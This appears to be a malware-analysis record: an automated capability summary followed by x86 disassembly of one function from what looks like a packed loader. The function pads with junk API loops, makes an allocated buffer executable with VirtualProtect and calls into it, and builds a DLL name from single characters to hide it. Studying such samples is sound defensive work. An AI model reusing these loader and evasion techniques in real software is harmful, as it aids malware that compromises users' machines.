Function at 0x809500
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Get file attributes
Get geographical location
Get hostname
Manipulate console buffer
Move file
Query environment variable
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x80be86
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1c68
call fcn.0040e9e0
push ebx
mov ebx, dword [sym.imp.USER32.dll_CharUpperBuffA]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
push edi
xor edi, edi
xor esi, esi
lea ebx, [ebx]
cmp esi, 0x1e2f9
jge 0x80954e
push edi
push edi
call ebx
call ebp
cmp esi, 0x1e9a8536
jle 0x80956a
cmp dword [esp + 0x14], 0xbf0f9c
je 0x80956a
cmp dword [esp + 0x3c], 0x9050fe8
jne 0x809573
inc esi
cmp esi, 0x98abe
jl 0x809540
cmp dword [0x26676c4], 0xcf8
jne 0x809676
push edi
push edi
push edi
call fcn.00405675
add esp, 0xc
push 0x403694
push edi
call fcn.00405675
push edi
push edi
push edi
push edi
call fcn.00405332
push edi
call fcn.0040563a
add esp, 0x1c
push edi
call fcn.004051f7
add esp, 4
push edi
call fcn.0040566a
add esp, 4
mov dword [esp + 0x68], edi
mov dword [esp + 0x6c], edi
mov dword [esp + 0x70], edi
mov dword [esp + 0x1c84], edi
xor eax, eax
mov dword [esp + 0x44], 0xf
mov dword [esp + 0x40], edi
mov byte [esp + 0x30], 0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x8095e6
sub eax, edx
mov esi, eax
cmp esi, 0xfffffffe
jbe 0x809600
push 0x4039d8
call fcn.0040498b
cmp esi, 0xf
jbe 0x809613
push edi
push esi
lea eax, [esp + 0x38]
push eax
call fcn.00404770
jmp 0x809620
cmp esi, edi
jne 0x809622
mov dword [esp + 0x40], edi
mov byte [esp + 0x30], 0
cmp esi, edi
seta al
mov ebx, 0x10
test al, al
je 0x80965d
mov eax, dword [esp + 0x30]
cmp dword [esp + 0x44], ebx
jae 0x80963c
lea eax, [esp + 0x30]
push esi
push edi
push eax
call fcn.0040b510
mov eax, dword [esp + 0x3c]
add esp, 0xc
mov dword [esp + 0x40], esi
cmp dword [esp + 0x44], ebx
jae 0x809659
lea eax, [esp + 0x30]
mov byte [eax + esi], 0
cmp dword [esp + 0x44], ebx
jb 0x809670
mov ecx, dword [esp + 0x30]
push ecx
call fcn.00405732
add esp, 4
push edi
call fcn.004055e8
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetSystemPowerState]
mov ebp, dword [sym.imp.KERNEL32.dll_FindFirstVolumeA]
xor esi, esi
lea ebx, [ebx]
cmp esi, 0x408
jne 0x8096a3
mov eax, 0x5d1
add dword [0x26676c4], eax
cmp dword [0x26676c4], 3
jne 0x8096bf
push 0
call edi
push 0
push 0
call ebx
push 0
lea edx, [esp + 0x7c]
push edx
call ebp
inc esi
cmp esi, 0x1518d4
jl 0x809690
mov eax, dword [0x26676c4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
mov dword [0x82a854], eax
mov eax, dword [0x26676c4]
xor esi, esi
test eax, eax
je 0x80974a
mov ebx, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp eax, 0xfe
jne 0x809721
push 0
call ebx
call ebp
xor ecx, ecx
lea eax, [esp + 0x18]
push eax
push ecx
push ecx
lea edx, [esp + 0x84]
push edx
push ecx
mov dword [esp + 0x28], ecx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
call fcn.00809280
mov eax, dword [0x26676c4]
cmp eax, 0x29
jne 0x809745
call edi
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
mov eax, dword [0x26676c4]
inc esi
cmp esi, eax
jb 0x8096f8
cmp eax, 0x70
jne 0x8097f8
push 0x4036a0
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push 0
lea eax, [esp + 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
push 0
push 0x4036e0
push 0x403718
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
mov esi, dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push 0
push 0
call esi
call edi
call edi
push 0x4037c4
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push 0
lea ecx, [esp + 0x1c]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTapeParameters]
push 0
push 0
lea edx, [esp + 0xc80]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
push 0
lea eax, [esp + 0x47c]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push 0
push 0
call esi
push 0x403800
push 0x4038f0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov eax, dword [0x26676c4]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
mov edi, dword [sym.imp.KERNEL32.dll_InitializeSListHead]
mov ebp, dword [sym.imp.KERNEL32.dll_AddAtomW]
mov ebx, dword [sym.imp.KERNEL32.dll_HeapQueryInformation]
mov dword [esp + 0x14], 0x9682ab
cmp eax, 3
jne 0x809848
push 0
lea ecx, [esp + 0x1c]
push ecx
push 0
lea edx, [esp + 0x484]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
lea eax, [esp + 0x78]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov eax, dword [0x26676c4]
cmp eax, 0xdf
jne 0x80995d
lea ecx, [esp + 0x24]
push ecx
push 0x403928
push 0
call esi
xor eax, eax
lea edx, [esp + 0x28]
push edx
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
call edi
push 0
call ebp
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
lea eax, [esp + 0x20]
push eax
push 0
lea ecx, [esp + 0x480]
push ecx
push 0
push 0
call ebx
lea edx, [esp + 0x68]
push edx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0
lea eax, [esp + 0x7c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoW]
push 0
lea ecx, [esp + 0x87c]
push ecx
push 0x4039a8
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0
lea edx, [esp + 0xc7c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointA]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x147c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0x30
lea edx, [esp + 0x38]
push 0
push edx
mov dword [esp + 0x3c], 0
call fcn.00406940
add esp, 0xc
push 0
lea eax, [esp + 0x34]
push eax
push 0x4039cc
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov eax, dword [0x26676c4]
dec dword [esp + 0x14]
jne 0x809818
mov esi, dword [sym.imp.USER32.dll_CharUpperA]
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov ebx, dword [sym.imp.GDI32.dll_GetCharWidthW]
mov ebp, 0x3a5e74
mov edi, edi
push 0
call esi
push 0
call edi
push 0
push 0
push 0
push 0
call ebx
dec ebp
jne 0x809980
mov esi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov edi, 0x25887
cmp dword [0x26676c4], 0x222
jne 0x8099b0
push 0
call esi
dec edi
jne 0x8099a0
mov edx, dword [0x26676c4]
mov eax, dword [0x82a854]
lea ecx, [esp + 0x1c]
push ecx
push 0x40
push edx
push eax
mov byte [0x825ac0], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.008094b0
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
xor esi, esi
cmp dword [0x26676c4], 0xba
jne 0x8099fa
lea ecx, [esp + 0x1c]
push ecx
push 0
push 0
push 0
call edi
cmp esi, 0x2f64
jne 0x809a07
call fcn.00809260
inc esi
cmp esi, 0x1605a
jl 0x8099e1
mov edx, 0x73
mov eax, 0x6d
mov word [0x265d702], dx
mov word [0x265d706], ax
xor eax, eax
mov ecx, 0x33
mov edx, 0x67
mov word [0x265d70a], cx
mov word [0x265d716], ax
mov word [0x265d708], dx
mov eax, 0x69
mov ecx, 0x6d
mov edx, 0x6c
push 0x265d700
mov dword [0x265d710], 0x6c0064
mov word [0x265d704], ax
mov word [0x265d700], cx
mov word [0x265d714], dx
mov dword [0x265d70c], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x26676c4], 0xc30
jne 0x809b14
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
push 0
lea edx, [esp + 0x20]
push edx
push 0
lea eax, [esp + 0xc84]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push 0
lea ecx, [esp + 0x87c]
push ecx
lea edx, [esp + 0x28]
push edx
lea eax, [esp + 0x30]
push eax
lea ecx, [esp + 0x28]
push ecx
lea edx, [esp + 0x28]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_PurgeComm]
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
mov ecx, dword [esp + 0x1c7c]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret